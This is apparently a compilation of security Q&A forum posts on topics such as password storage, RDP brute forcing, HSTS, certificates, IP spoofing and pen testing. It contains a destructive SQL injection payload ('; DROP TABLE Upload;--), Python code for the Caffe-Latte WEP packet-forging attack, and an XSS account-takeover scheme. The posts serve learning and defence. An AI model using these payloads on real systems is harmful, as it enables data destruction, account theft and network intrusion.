I will be using Sql Server, and I thought I could let that handle the encryption:

Save passords to encrypted database.
Save the id in the domain event.

When the user account is about to be created:

Read the password.
Create the account.
Delete the password from the database.

Option 2: Store passwords temporary in a separate database, but encrypt each entry with a different key.

The idea is that if the database is compromised, it would be harder to do anything useful with it because each password has a different key. Is this useful, or is it a variation of security by obscurity?

Create a random key
Encrypt the password
Save encrypted password to the database
Save key and id in the domain event.

Otherwise same as Option 1.

Note

The password database should be almost empty during normal conditions. It's when something in the api's backend fails and new user account requests are piling up, things are getting risky. Initial passwords will stay in the database until problems are fixed.

New users must change password at first logon.

Recommendations?

It's probably obvious I am not a security expert. Are these ideas just stupid? Are there any acceptable methods for storing passwords temporarily?

I agree with Francois.  You say that you want it to be async.  it's not clear that this is something the 3rd-party client is asking for.  If it is something they want, the call-back approach with enforced reset on first login is preferable since they will at least know that the account if the account has been compromised when they attempt to login with the generated password.  If they balk at that, you should make sure that they understand that they are asking you to disregard good security practice.


Why would a site demand passwords to consist of digits only? My bank's internet banking site enforces a pretty weird policy: it does not allow you to set a password that has anything but digits in it. The only reason I can imagine is that they are using not an industry-standard password hash function like say SHA-256 but some silly homebrew replacement that works only on digits. Does anyone have a better explanation? Mine is somewhat frightening, security-wise.

They are most likely considering all forms of user input (and need the password to work via other modes such as at an ATM or via phone touch-tone) and therefore limit it to just numbers.  Of course the only way to be sure is to have them answer this question, but the scenario is not uncommon with banks that have consolidated remote banking functions onto one platform.

Edit: I remember a question very similar to this on SE (I think it was here in security) but searching isn't finding what I am looking for... Anyone else recall?


First time penetration testing code check In the following scenario the website allows users to upload an excel document that contains information that will be loaded to the database, and stored as values that can later be accessed by the user. I am attempting to load a sql injection with the following paramaters.

"INSERT INTO Uploads VALUES ('Name'); DROP TABLE Upload --"

This execution is being commmitted in ASP.net EF 6. My question is, when using this type of injection, it simply throws an error about incorrect syntax. Can someone tell me if this injection is formatted incorrectly to penetrate, or if this is an actual security measure of SQL server 2012?

Update: the actual error I am receiving is   cmd.ExecuteNonQuery(); incorrect Syntax near ('Name')

Without seeing the code it's impossible to say for sure what is going on.  Based on my own experience I suspect the following is what is happening.

Lets say you have a vulnerable piece of code that defines a query to be executed in the db like follows:

string commandText = "SELECT id from users where name = '" + tb_Name.text + "';

If you then pass in your attack string, commandText will become:

SELECT id from users where name = 'INSERT INTO Uploads VALUES ('Name'); DROP TABLE Upload --'

If you look closely at this sql string you can see that the first string it interperpates is INSERT INTO Uploads VALUES ( it then encounters Name which is not a string which is most likely why you are seeing the error you see.

If you instead change your attack string to:

'; DROP TABLE Upload;--

The commandText (in this specific example) would become:

SELECT id from users where name = ''; DROP TABLE Upload;--'

Which would be a valid attack baring permissions being set correctly.

Anyway - hope this helps clarify things.  The best way to become more familiar with this stuff is to spend a few years doing full stack web development.  You can jump in midstream, but you will lack the depth of knowledge that is often required to be a good pen tester.


How did hackers brute force my Windows server username? About a year ago my Windows server 2008 R2 server was hacked. I had RDP open to the world, I know, not a good idea. Being that it was a year ago I don't have any of the logs, but I was thinking about something today.

How did they get the username?

It wasn't the administrator account, however, the administrator was active and being used, that is the only way I knew they were on there. Also, there was no password policy setup. This server is really not for anything important. I use it more as a playground.

For about 12 hours an IP out of Poland was brute forcing my server. Looking at the audit logs post incident I noticed about 12k, maybe more, attempts to get the right username and password.

I noticed they started with what looked like an educated guess of usernames, common names mostly, then somehow they got the right username they started with password guessing.

I watched this happen for two reasons really:

To see if they could get in.
To see what they were after.

Once they were in I used VNC to look at the desktop to see what they were doing. They were basically looking through everything, but since the user had very minimal privileges they could not get too much.

Yes, I gave the user RDP access but not much else.

When I tested this just now and put the right username/wrong password vs wrong username/wrong password I didn't see anything to indicate the username was right or wrong.

How did they know that they had found the right username? What software or program might they have been using?

There are few ways to enumerate windows usernames, but maybe they only needed RDP.

You don't need the username or password to start a rdp connection, and some windows versions (not sure which ones, looking for them but 2008 r2 is one of them) will show the names of the users who can connect and which ones are connected already.

This "feature" will directly leak the needed username/s.

Maybe they used some tool like this one https://github.com/citronneur/rdpy (there are a few) to take a screenshot, or they just simply tried to login with a rdesktop ui program and saw something like the screenshot

Theres a nessus plugin also for this, but i doubt the used it ($$$), who knows.

There are a few ways to leak windows users, maybe they used any other.


Can we safely distribute password protected .p12 file? I have a password protected .pfx file and I would like to know if it safe to share it on GitHub.

The intention is to ensure that companies can trust a dll file of the Tweetinvi open source library. The DLL is signed by a certificate and the .p12 file contains both private and public key.

This has been requested by big companies and I do not know how secure a password protected .p12 file is.

By having the file, it would be possible to try to brute force the password, so you would need to choose a really strong password to protect it and make brute forcing infeasible. Eg I can find on google tools that claim to brute force PKCS#12 at 500k passwords per second. If you choose 8 random printable characters it would take more than 400years. That on a comercial tool with GPU acceleration.  Looks safe enough for your scenario.

However, sharing the key with other developers should be avoided anyway. Since you will need to share securelly the password anyway by another channel, and you should chose a password that is really strong, maybe you can use the same channel to securelly share the PKCS#12, and,  if not, sending both using two separate distinct and private channels still is a better option.


Executing XSS on .jsp page by escaping string and with raw bytecode? Assume that a java (.jsp) page takes a from input as a string, the server does nothing to sanitize it, and then echoes it back to the user.

How would an attacker escape the string to execute arbitrary commands? Obviously they could throw JavaScript through and have script executed on the other page, but how could they escape the string and run code server-side?
Since java just compiles down to bytecode, is it possible to inject bytecode directly in a scenario like this?

how could they escape the string and run code server-side

The only way an attacker could cause a string to be executed on the server-side, is if the server interprets the string code. If the server only echos the string back to the client, then the code cannot run server-side. (but, as you stay, can still be an XSS attack vector)

The following situations are the most common cases where a user-provided string could accidentally be interpreted as code, and therefore executed on the server.

SQL Injection vulnerabilities are the most common occurrence of this. In many cases, Java produces an SQL string, which, when combined with unsanitized or poorly escaped input, could allow the attacker to run arbitrary SQL commands. In most cases this is limited to accessing, updating or deleting the data that SQL user has access to, but in certain situations an SQLi attack could be used to gain higher access to the system.
A poorly designed file upload mechanism could use Path Traversal to place an executable file on the server, either for automated execution via cron, or in the docroot for execution via HTTP request. (a file download feature could also be vulnerable to path traversal)
Buffer Overflow vulnerabilities are a common occurrence in low-level programming languages such as C or C++.

Those who develop in a high-level language like Java have the luxury of automatic buffer allocation and will not be able to create one of these vulnerabilities in most situations.

However, sometimes a high-level language will tie-in to a vulnerable module. For example, an image processing or HTTPS encryption layer may be written in a low-level language to help it run faster.

As always, monitor your packages for security updates that may need to be installed.

  Since java just compiles down to bytecode, is it possible to inject bytecode directly in a scenario like this?

This would require vulnerability (item 3 above) within the Java runtime, but the desired effect may be achievable with item 2.


How can a company reduce exposure to packet spoofing? What solution should exist, but doesn't? I'd like to understand what anti-packet-spoofing technology exists (or should exist) to verify an inbound packet.  Maybe this is as simple as a Cisco ACL, Firewall Rule, implemented at the network boundary; however I think the issue might be a little more involved.

Generally, we would start with source IP blocking with these trains of thought:

Drop IP ranges that are not in use (per interface)
Drop IP ranges that are in-use, however should not appear as a sender on that interface

For example, your public interface is likely configured to drop all source addresses starting with 10.x.  You might also route a 192.x network with a 172.x network.  Since you control each address space in its entirety, you can control what spoofing crosses the router's edge.

  But there is a problem with blocking traffic originating from the Internet.

Inbound traffic from your ISP may not have rules applied to the source address.  It seems that IP spoofing is permitted out of ISP laziness & cost savings efforts, or there could be a legitimate technical reason (in order to enable some odd IP mobility feature).  However I don't believe that IP spoofing is a relevant technology for vast majority of the users of the Internet.

If IP-Spoofing is indeed a "feature" of the internet, then I think the technology should be depreciated and that rare software reconfigured to use a higher level protocol.  (please discuss why IP Spoofing is needed at this link)

[Question]

How can a company with an internet connection reduce exposure to IP Spoofing? How would it be implemented?
What alternatives should exist, that don't?

The second part of my question is a coming from an idealistic "greenfield" hope I have where IP spoofing was crippled or blocked across the internet.  I think that a reduction in IP Spoofing will also significantly reduce one's exposure to numerous types of attacks (DDOS, UDP/DNS hacks, etc).  Perhaps it's leveraging real time routing tables, a subscription based service, or some other technology.

In the general case, it can be very difficult to differentiate packets with spoofed addresses. Most systems (servers or network devices) will only have a single NIC, so all traffic will come in on the same port.  Static MAC entries can help mitigate collateral damage, but very quickly becomes a management nightmare. One of the few places you can detect and filter spoofed traffic is at a router.

Your network border is, without question, the easiest place to do this filtering. Here you should have a very good idea what direction IP addresses should flow. I would first block all Bogon addresses.  If you are using BGP, Team Cymru has a good write up on the Bogon Route Server Project.  Also include an ACL for blocking your own address space outside coming in, ASA example (replacing X.X.X.X with your allocation, and Y.Y.Y.Y with your netmask):

access-list outside_access_in extended deny ip X.X.X.X Y.Y.Y.Y any

At the host level institute tightly confined firewall rules. Here you should tightly define audience and service, followed by a default deny.


Caffe-Latte attack in Python I have a github project called 'Evil-Twin Framework' which basically is a very extensible Wi-Fi pentesting framework. I'm not going to delve into the details but basically one can code any type of Wi-Fi feature/attack on top of the framework.
I've recently been implementing WEP attacks such as the ARP replay attack and Caffe-Latte.
The ARP replay attack works fine since I only need to identify the encrypted ARP packet a replay it.
The Caffe-Latte attack seems to be a little more challenging.
One has to capture a gratuitous ARP packet, flip some bits, recalculate the crc32 checksum and then replay it.
I have opened an issue on this with many details and even *.pcap files with my my forged packets in comparison to aircrack-ng's forged packet. I'll leave the link here if you guys/gals would like to check it out: https://github.com/Esser420/EvilTwinFramework/issues/2

Ok here I'll guide you through my 'faulty' implementation of the attack.
After I identify the packet I extract the original wepdata and ICV like so:

wepdata = list(packet[Dot11WEP].wepdata)
original_icv = packet[Dot11WEP].icv

Then I create the bitmask as suggested by Vivek Ramachandran, flip the correct bits (I can decrypt the packet after and check). Then I calculate the crc32 of the bitmask like so:

bitmask = list('\x00' * len(wepdata))
Flip bits of the bitmask corresponding to the last byte of sender MAC and IP respectively
bitmask[len(wepdata) - 11] = chr(randint(0, 255))
bitmask[len(wepdata) - 15] = chr(randint(0, 255))
Create crc32 checksum for the bitmask, the logical AND with only Fs turns it into a unsigned crc32
icv_patch = crc32("".join(bitmask)) & 0xffffffff

Finally I XOR the bitmask with the original wepdata and the same for the ICV and put the results back in the packet.

flipped_result = [ chr( ord(wepdata[i]) ^ ord(bitmask[i]) ) for i in range(len(wepdata)) ]
patched_icv = icv_patch ^ original_icv
Put the results back in the packet
flipped_packet[Dot11WEP].wepdata = "".join(flipped_result)
flipped_packet[Dot11WEP].icv = patched_icv

Here "flipped_packet" is a copy of the original packet.

I cannot figure out where the error is, I think the packet is malconstructed because Wireshark "refuses" to decrypt it but it is able to decrypt the original packets and the successful forgeries created by airbase-ng/aireplay-ng.

More details about this are in the issue to which I left the link above.

I kind of figured it out.

First of all I needed to concatenate the bitmask and icv_patch.

The resulting 40 bytes should be XORed with the original encrypted content.

The crc32 calculation by binascii or zlib is different from the one aircrack-ng uses.
I translated their implementation from C to Python and it works now.

However I do not understand the different results from the crc32 calculation (yes both are crc32)


HTTP not being converted to HTTPS with HSTS I am looking up the behavior of HSTS on both HTTP and HTTPS websites, and their HTTP and HTTPS embedded resources. My understanding is that if an HSTS response header has been passed on by the server in an HTTPS response, or if the site's name is present on the HSTS preload list, then all the resources of that request would be sent on HTTPS.

However, while inspecting some sites via the Firefox Web Inspector, I am noticing some discrepancies. For example, here on cnn.com (an HTTP website), some of the requests of doubleclick.net's subdomains are going over HTTP, even though it is present in the HSTS preload list over here (with include_subdomains:true).

Just to test whether the root domain was sending the HSTS header, I navigated to the ad.doubleclick.net link in the location address bar which directed me to Double Click's main site https://www.doubleclickbygoogle.com Over here the HSTS header is being sent:

Yet, there is no effect on doubleclick's requests on cnn.com when I reload:

Another interesting thing is that when I try to locate the source tag of request on the DOM by going to the Inspector tab, there is no such tag with http://ad.doubleclick.net (strung with some querystrings). The "Cause" and "Type" heading in the inspector seem to indicate its some tracker sort of a pixel.

Does anyone have any idea what could be going on over here?

To cite from the source code you mention:

354  // Other Google-related domains that must use an acceptable certificate
355  // iff using SSL.
     ...
361  { "name": "doubleclick.net", "include_subdomains": true, "pins": "google" },

This means that the certificate is pinned iff the site is served over https. It does not mean that the site needs to be served over https. This is different for other domains where the force-https attribute is set:

264  { "name": "accounts.google.com", "include_subdomains": true, "mode": "force-https", "pins": "google" },

EDIT: based on the source code of Chromium  (function TransportSecurityState::GetStaticDomainState in net/http/transport_security_state.cc) I'll try to explain the information which can be seen in chrome://net-internals/#hsts and how it relates to the static information from net/http/transport_security_state_static.json using the example doubleclick.net:

static_sts_domain: doubleclick.net
static_upgrade_mode: OPPORTUNISTIC

OPPORTUNISTIC is the default mode (STSState::MODE_DEFAULT). This means that it does not force HTTPS. The default mode is used since no explicit force-https setting was given in the configuration.

static_sts_include_subdomains: true

Since it does not enforce https this setting does not matter. But the value might be caused by the configuration of include_subdomains shown above even if this configuration line does not include force-https.

static_sts_observed: 1476162000

This is the build time of the static HSTS/HPKP list, i.e. 2016/09/04 in this case.

static_pkp_domain: doubleclick.net
static_pkp_include_subdomains: true
static_pkp_observed: 1476162000
static_spki_hashes: sha256/IPMbDAjLVSGntGO3WP53X/zilCVndez5YJ2+vJvhJsA=,sha256/7HIpactkIAq2Y49orFOOQKurWxmmSFZhBCoQYcRhJ3Y=,sha256/h6801m+z8v3zbgkRHpq6L29Esgfzhj89C1SyUCOQmqU=

These are the information about pinning. These have a direct relation to the settings shown above (i.e. include_subdomains and which pins should be used).


Is there any point to opting out of interest-based ads? There are various browser extensions for opting out of interest-based ads, e.g.:

https://chrome.google.com/webstore/detail/iba-opt-out-by-google/gbiekjoijknlhijdjbaadobpkdhmoebb
https://chrome.google.com/webstore/detail/protect-my-choices/hdgloanjhdcenjgiafkpbehddcnonlic

It seems to me that the only thing it will do is make the ads that I see less relevant to me.
But that seems stupid if ad companies are still collecting the same data from me and simply not using it.
If that's the case, it seems like a lose-lose situation that doesn't actually improve my privacy.

So my question is, is there any point to using these? What are the potential benefits, privacy or other?

Yes, there is a point.

To be clear, "opting out" merely stops the targeting of ads. It does not eliminate ads, or reduce them in number, or vastly reduce the more insidious Tracking aspect of ads. In a broader context than just Chrome, it varies by platform and ad system, but some ad networks will not collect as much information knowing that they can't target from it. So there may be a marginal privacy advantage from that.

But a very real reason to "opt out" (assuming you don't block trackers outright, which is the vastly preferred privacy solution) is: it may send a signal to the ad networks that you don't consider cross-site / cross-device targeting to be a fair trade-off for viewing the affected pages. In addition, it may even reduce the revenue to the ad networks since they can't sell presumably higher-cost more-targeted ads onto your page views. The signal plus the possibility of reduced revenue may in the long run contribute to a healthier (for users and user privacy) ad ecosystem.

But keep in mind that Blocking is the only way to get a large immediate privacy advantage over ubiquitous Tracking.


Why firefox shows some connections are not secure? I am using internet by connecting  mobile phone to my laptop using usb. From yesterday,my browser (firefox) shows  for all most all website. Why this happen? How can i solve this?

The date/time on your device maybe invalid.

All SSL certificates have a start and end period.  Certificates can be compromised and its a good practice to renew them.


Sub-domains TLS certificates and wildcard certificate 1) Is it a good security practice to have a separate TLS certificate for each sub-domain?

2) Is wildcard certificate (i.e. one certificate for many/every sub-domains) a bad practice?

It is more relevant how much the private key for a certificate is at risk than if the certificate contains multiple domains (either as subdomains or as wildcards) or only a single domain.

For example, if you have multiple machines with each machine having their own subdomain, then the risk is lower if you have separate certificates with their own private key on these machines instead of using the same certificate and private key on all these machines. If instead you only have a single machine serving all these domains then it does not really matter.

Using wildcard certificates by itself is a larger risk since more subdomains are affected if the private key is compromised. But apart from that it is similar to single vs. multiple subdomains per certificate, i.e. it mainly matters how well the private keys are protected.

If instead your private keys are kind of easy to get stolen in the first place then having only a single domain per certificate can considerably limit the impact of a stolen private key. But if such easy compromise is possible then you should probably start improving the security of your private key first.


Automatically finding and fetching signature paths from own key to target This is a question about usage of Web of Trust.

Let's suppose I've just generated a key pair and attended one or two Key Signing Parties. That gave me ~10 signatures on my public key, some of which belong to OpenPGP activists (so I'm reasonably sure that now my key belongs to the "strong set" in the worldwide web of trust). So, I've published my key to hkp://keys.gnupg.net and fetched all of the attendees' keys into my local keyring.

At the same time, there are web-sites like http://pgp.cs.uu.nl/, which seem to automate "path finding in the web of trust" — that is, given my key fingerprint and some target key, it queries the key servers and shows all signature paths from my key to the target.

At the same time, its usage requires a big deal of human intervention. If/when I receive a signed message and wish to to verify the signature, I need to:

go to that site (the PGP pathfinder);
find the signature paths;
import all participating keys to my local keyring;
verify all these keys and signatures locally, so that I'm protected against rogue keyservers and/or pathfinders.

Another complication is that OpenPGP employs its own specific "trust model", which says that a signature path must fulfill some conditions (depth, trust levels, owner trust and so on) in order to be considered.

This is correct and good practice, but sometimes I want just to check the mere presence of signature paths, without imposing any restrictions on it (which is already better than nothing).

Again, I say that having a trust path is best, but in absence of that, having a signature path is at least somewhat better than having nothing.

Why there isn't a tool (perhaps integrated into GnuPG) which will do that work for me?

Missing Semantics

There are different problems with finding such signature paths. One is the semantics of such a path, signatures of other keys should never be taken into account without the trust into that user considered. Of course, there might be use of such a path anyway, I use the PGP patfinder you mentioned from time to time to derive trust paths, fetching the appropriate keys and issuing trust as I see fit.

Technical Reasons

There's also a technical reason this is not implemented in GnuPG: finding those paths requires knowledge on all keys. GnuPG is not really able to handle those millions of keys. and both fetching and keeping them current will require quite some effort. The PGP pathfinder uses a daily key server dump and performs some preparation work (mostly extracts the underlying network, to speed up queries) to tackle this. This dump is multiple gigabytes in size!

Running Your Own Signature Path Finder

wotsap is a project providing similar analysis, and made the sources available, given you find a current source for the .wot files (providing the network data). Alternatively, you can calculate them from a key server dump on your own using the tools provided by wotsap.


Is there another way than session hijacking to access user account through XSS? If I have discovered an XSS vulnerability, is there another way of gaining access to an account without session hijacking? Mainly because on most of the sites I test, the HttpOnly and Secure flags are set on the session ID, so I can't access it through javascript (document.cookie). I know I could do some fake form asking for the username and password, but is there another way?

If you have XSS, you can perform any action on the website the user can. This can include changing the email address, adding a new user, or granting access to some resource. Whether any of these actions compromise the account depends on the web application.

For example, consider an XSS payload that changes the email adres of the current user to kevin.lance@attacker.com. This may compromise the account if the web application has password reset functionality through email.


How can I bypass double quotes in a attribute based xss attack The code that I have is:

<input type="text" name="some_name" value="<?php echo CHtml::encode($str); ?>" />

$str is the input data. 'CHtml::encode()' is Yii's way of encoding special characters into HTML entities. Can this be bypassed?

I know it can be broken if I do not put those double quotes around the input. But I do not think just by putting double quotes around will make it unbreakable.

The encode() method HTML encodes characters, which is the correct XSS prevention method in this context.

So if a " character was inserted inside of $str to try and break out of the HTML attribute context, this would be converted to &quot; or &#34; which is the HTML representation.

Therefore it is not possible to inject script here, assuming encode does not have any flaws itself that allows this to happen.


Remote IP scan detected I would appreciate if you take some time to go over issue I am facing. On my laptop I have windows 7 installed, I am using ESET Smart Security 5.2.9.1. As I work 9 hours day online I am seeing a message remote IP scan detected by ESET notification in red, not in green. Which is giving me an idea that someone is going through the data in my PC or seeing what I am doing and also being successful at it.

Please tell me how to stop as I though that was the best software I am using please recommend settings to prevent that or suggest buying any software where this can stop which isn't a problem.

Any system connected to the internet is going to get scanned, and often. If your system was behind a firewall which was set up to only allow outgoing connections then you would not be seeing these messages. This leads me to believe that you either have a direct internet connection or you are behind a firewall but it is set up to forward packets to your system.

The best thing you could do to protect your system would be to either put a firewall between your system and your internet connection, or if you already have one to configure it to only allow outgoing connections.

EDIT: Poster says his PC is directly connected to the internet

The main issue with your setup is that all operating systems have zero day vulnerabilities which could be used by an attacker to take over your system no matter what software firewall and antimalware software you are running. These are often integrated into automated software which scans the internet trying to infect as many systems as it can find, so even if you are extremely diligent about installing every single software patch you are vulnerable. The only way to reduce this risk would be to purchase a hardware firewall to protect your system.

Regarding your concerns regarding your employer it's unlikely that they've been able to install monitoring system behind your back, however monitoring software could have been installed as part of a wider software package, so if you were asked to install software on your system it is possible that it could be monitoring you. Also, java applets could hook into your camera, microphone, or browse your files. I'd say the likelihood of that being done is low if taken across all employers, however you have a better idea as you work for them. Plus they seem to have made statements to the effect that they are monitoring you, which could just be them joking but maybe not. If you are being monitored and you live in a place where there are employee laws that will protect you then it's a matter for law enforcement, if not then you need to take steps to protect yourself.

What I would do is either buy a second system and do employer work on that second system. You can physically disable any camera or microphone on it and as long as you keep it purely for work your employer will never see anything personal. If you cannot do that the other option would be to create a virtual system within your physical computer and use that for employer work. You can configure the virtual box to have absolutely no access to microphone or cameras on your physical system, and the virtualization will allow you to separate your personal and work data within one physical system. Just be sure to strictly limit the access from your work system to your personal system no matter what method you use.

Of course you could just tape over your mic and camera if you are worried about the physical surveillance aspect.


are some IP whois capable of going beyond proxies? I received a suspicious email (suspicious body) coming from a legit person.
The headers always show the legit adress as if the person in question has been hacked.

But I wanted to go further and checked for the originating IP.

In my first whois query at dig.whois.com.au I have a result telling me IP is from Romania.
In another whois query at hackertarget.com/whois-lookup I have a result telling me IP is from US PacketFLip LLC which is actually an anonymous proxies company.

Is it possible that the first whois is able to find the real location of the IP whereas in the second whois, the proxy company act as if this IP comes from its range when it is not or something ?

Thanks a lot,

whois on an IP address shows whom this IP address (range) is assigned to. If you get that the address is assigned to some company doing anonymous  proxies then this is exactly that, i.e. there is no way to look behind since there is nothing behind. What you would need to look further is the original IP of the user which an anonymous proxy hides by design. And behind the one IP address you see there will probably be many hidden IP addresses you don't see.


Did somebody connect to my facebook account? I have a problem. I'm not sure, but I think that somebody found out a password to my Facebook account and sometimes logs in. Is there a way to find out whether it is true?

There must be something like Facebook connects log but I'm not sure if it would be helpful in my situation.

If i'm not wrong,

At FAcebook -> settings -> security ->  Active Sessions

There is a history of devices  connected to your account by date , with some useful info IP and city browser

SO you can switch to a difference browser, and if some one else log in will report with a browser that you don't use.

You can also disconnect them (unlink) from that panel too


Investigating a possible rogue DNS Server (maybe DNSChanger) One of the users of our RouterCheck tool was complaining about random popups containing ads in Spanish and Russian. Upon investigation, we found that the DNS settings on his router were changed to

93.158.212.36

I'm not aware of this DNS Server being problematic, but I have some suspicions.

Does anyone know if this server is known to be rogue?

If not, what should be done to test whether it is?

Finally, if it is, what next?? Do we submit to CERT?

Does anyone know if this server is known to be rogue? If not, what
  should be done to test whether it is?

Using tools like the one you used is one way to see if your DNS has been hijack, but it is not foolproof. In this case you may have a false positive as the address in question is owned by serverius. They offer a wide range of network services which could legitimately explain why that IP was set as the routers primary DNS server. I would investigate if they are a vendor to your organisation (or network provider). There is a chance that the popups and DNS settings are unconnected. (Although they may indeed be connected, obviously I do not have the information to make that judgement.)

  Finally, if it is, what next?? Do we submit to CERT?

If the IP was in fact being used for malicious purposes you could submit it to various groups to investigate and have it placed into their blacklists or reputational databases. Examples of these groups are amongst others, the various national CERT groups. Gaining access to the CERT groups is different depending on what country you are in. The UK for example allows users who belong to various organisations across industry and government to apply to join online.

Many vendors such as Symantec and McAfee also allow you to submit IP's you believe to be rouge for investigation, normally via their customer portals.

The information on these lists is only of use if you have both access to it and make use of it in some way. Even then black lists and reputational databases are not a magic bullet as malicious IP's are an extremely dynamic entity and one that is very easy to subvert.

For quick investigations I usually use the Internet Storm Centre IP checker and IPVoid which is a meta site for many open source intelligence based blacklists and reputation lists. This is a good way to quickly find out if a particular IP is known for being connected to malicious activity.


How to use AWS KMS securely? I am investigating using AWS KMS (Amazon Web Services Key Management Service) to decrypt an encrypted symmetric key (i.e: envelope encryption). However, to use the KMS, I need to pass it my amazon access key and secret key.

So I am no longer storing a plaintext symmetric key on my server, but I am now storing an encrypted key and my AWS access keys... is this not essentially the same as storing the plaintext there? Someone with access to my server would only have to take the encrypted key and my Amazon access keys and ask Amazon to decrypt it?

If your server resides in EC2, you can use IAM to create a role for that server and allow it access to KMS without needing to have the AWS access keys on the server.

http://docs.aws.amazon.com/kms/latest/developerguide/control-access.html


How do you check the signature of a signing program (ex. GnuPG) if there is no native version installed? [Catch 22] If you downloaded a version of a signature verification program that might have been modified, you naturally check its signature. But what if you have none such program to check it (whose signature has been checked)? It appears to be a Catch-22.

GnuPG download instructions:

  Note: you should never use a GnuPG version you just downloaded to check the integrity of the source — use an existing, trusted GnuPG installation, e.g., the one provided by your distribution.

(emphasis theirs)

But what if you have none such installation provided by your own distribution, or if your old, trusted distribution has an exploit, which would be fixed by the new version?

Your question boils down to "how can I initially construct a trust chain". No matter how you want to verify the download or individual steps (for example, X.509 certificates for HTTPs), you will have to start trusting somewhere.

The most paranoid method of verification would be meeting GnuPG's main author, Werner Koch (and/or others from the core team). But as you don't know him yet, consider how to verify his identity (for sure, a powerful governmental organization would be able to issue faked ID cards).

Otherwise, you could start with trusting your operating system distribution for downloading and verifying GnuPG. Maybe you're even running Linux for a long time, and fetched copies from lots of different locations. This is "trust on first use" in the broader sense: you expect that the first contact (older copies of Linux) have been fine before you even might be considered a target worth the vast effort of such manipulations.

If you don't trust a single copy (as it might be manipulated), go for multiple of them, repeating the step individually. You will find Linux distribution media "kind of everywhere": computer magazines in stores, as add-on to library books, by asking your friends. It is very unlikely that an attacker was able to fiddle with all of them. Whenever somebody enlarges the scope of manipulations, chances of getting caught increase.


How can I handle open ports? After  port scanning  my company's network, I found a lot of open ports. What are the risks that will result out of these ports, if I left them open? And is there any way to handle them without closing them?

What are the risks that will result out of these ports, if I left
  them open?

As a security good practice, ports should be open only on a need-to-be basis.  You are exposing the services that are listening on those ports you left open to exploits. Why? Because a service means something is processing data and thus you are also exposing the vulnerabilities of the applications using those ports.

For example if you let your FTP port open to every one without any restriction rules (firewall) then a hacker could load lot of porn videos to consume lot of space of your server which thing will lead for example to very slow connection to your FTP service. Also lot of ports open expose you more to Trojan Ports.

This schema summarizes better the answer to your question:

  And is there any way to handle them without closing them?

Yes, you can leave those ports open but under the condition you have to limit what is allowed to listen on them: that is the job for firewalls. For example, on port 21, allow only the IP address of your home office or home to connect to it and no one else.
You can leave them open and setting all the closed ones to stealth.
If you can change a port's number then do it. For example if you can modify the port 21 (FTP) to a higher one (3737 ?), that can lead the hacker to go away because he would start to scan common ports (20, 21 ...) and since port scan takes time, he could be impatient to wait until the scan performs over the 3737 port.
Use free services that could help you such as this free firewall and from time to time CanYouSeeMe.


Analyze Windows Malware on Linux I'm just getting started with the book 'Practical Malware Analysis', some of the exercises are using PEview and Dependency Walker however I'm slightly allergic to using Windows.

Is it possible to analyze windows malware on linux without using VM's or does this require using Windows?

It is possible to analyze windows malware on linux - but you'll be limited when it comes to analyzing runtime behaviour. wine is good, but to observe the behaviour of the malware, you'll need a debugging vm with windows.


4096 bit RSA encryption keys vs 2048 Where do 4096 bit RSA keys for SSL certs currently stand in terms of things like CA support, browser support, etc? In the overall scheme of things is the increased security worth the risk of 4096 bit keys not having the widespread support and compatibility as 2048 bit keys do, not to mention the increased CPU load required to process the key exchange? Are things slowly turning in favor of 4096?

Advisories recommend 2048 for now. Security experts are projecting that 2048 bits will be sufficient for commercial use until around the year 2030.

The main downside to using a large cert, such as 3072 or 4096, is that the algorithm is slightly slower (still fractions of a second, though).

Current browsers should all support certs upto 4096.

Some CAs won't issue a cert that large, so if you want a 4096 bit cert, you might have to shop around for a CA that will issue it.


Justifications for disallowing torrents as an IT Admin Many countries, including mine, allow torrent traffic and have no constraints about downloading torrent data and violating copyrights.

I know that if I traveled out my country 'to Europe for example' I may get caught because of my cracked softwares that installed on my laptop.

So, aside from copyrights problems, what damage can came if I used torrent. I know that I may get infected with viruses and malwares. But what esle?

P.S: for ethical users, I have no other way to get my movies and series due to '403' on everything, including subscriptions and online ordering .

Edit:

I asked the question because I'm a network administrator, and after all I need a proper answer to my clients why I'm stopping torrent. thanks.

Don't quote me no this, but I don't think there's any jurisdiction where using torrent is illegal. There are many jurisdictions where downloading copyrighted files are illegal, and while torrents are often used to distribute copyrighted files, there are many perfectly legal files shared through torrents. For example, many major Linux distros distributes their installer images as torrent, some public government data are distributed through torrents. Listen to your users and check if any of them may have legitimate uses for torrents.

From organization/company perspective though, there are a number of reasons why you might want you limit torrents if it's not necessary for day to day operations of most people. Remember that since you are the network administrator, you set the policy that you want to enforce, based on the needs of the organization and the culture that you/the leaders want to develop in the company.

Some companies want to develop an open culture, where most employees have minimal restriction/monitoring on what they do on their workstation as long as it doesn't disturb the daily operation of the company. Many such companies might have acceptable personal internet use policy. You should work with the leaders of the company to develop this policy, and define what kind of personal use is acceptable (e.g. accessing personal email, downloading files for personal use, using printers for personal use). Alternatively, if the leaders want to develop an informal culture, they may want to leave such policies unwritten and leave them to be i-know-it-when-i-see-it until it actually becomes a problem (e.g. excessive internet usage, unwarranted slow downs, receiving copyright notice). Within this culture, even if your country doesn't necessarily enforce copyright laws strictly or even if there's no such laws, I would still highly recommend developing a policy for respecting copyrighted materials anyway as a matter of good business practice. You may also want to develop a policy where users must agree to subject personal files on company equipment for virus scans or other searches when demanded, these policies may or may not sufficiently mitigate the risks of allowing personal internet usages.

Other companies have a need to develop a more restricted approach, where users have to be able to justify every network protocols they use before they are allowed to use it. Within this culture, you need to listen to your users and make sure that the network restrictions doesn't hinder them from doing their daily tasks. If there are network protocols that the users need to use that you just don't want to/can't support, then develop an alternative plan with them or shift the responsibility of that task to someone else. When you want to develop this culture, you want to white list the network protocols that are permitted for each users and possibly even whitelist the network destinations.

Remember, good security policies should be an enabler, not a hindrance to one's work. Good security policies and controls allow people to do things that otherwise would have been too risky to do. Listen to your users and the direction that the leaders want to set for their company. Based on that, figure out what network protocols they use, develop a policy around that, write them down in company manuals, and then enforce that policy. Don't try to enforce unwritten policies, as you will just alienate everyone; having the cooperation of those that are subjected to the policy are crucial to the practical viability of a policy.


Pen Testing ASP.NET application with Backtrack We have developed an ASP.NET Based Enterprise Application which is is soon to be released. Now, we are concerned about the security aspects of the application. I've been looking into Backtrack 5 and visited a lot of websites about pen testing too but it was not very helpful. I wish to test the developed application for security vulnerabilities using backtrack.

My question is how can I test my application using full capability of Backtrack?

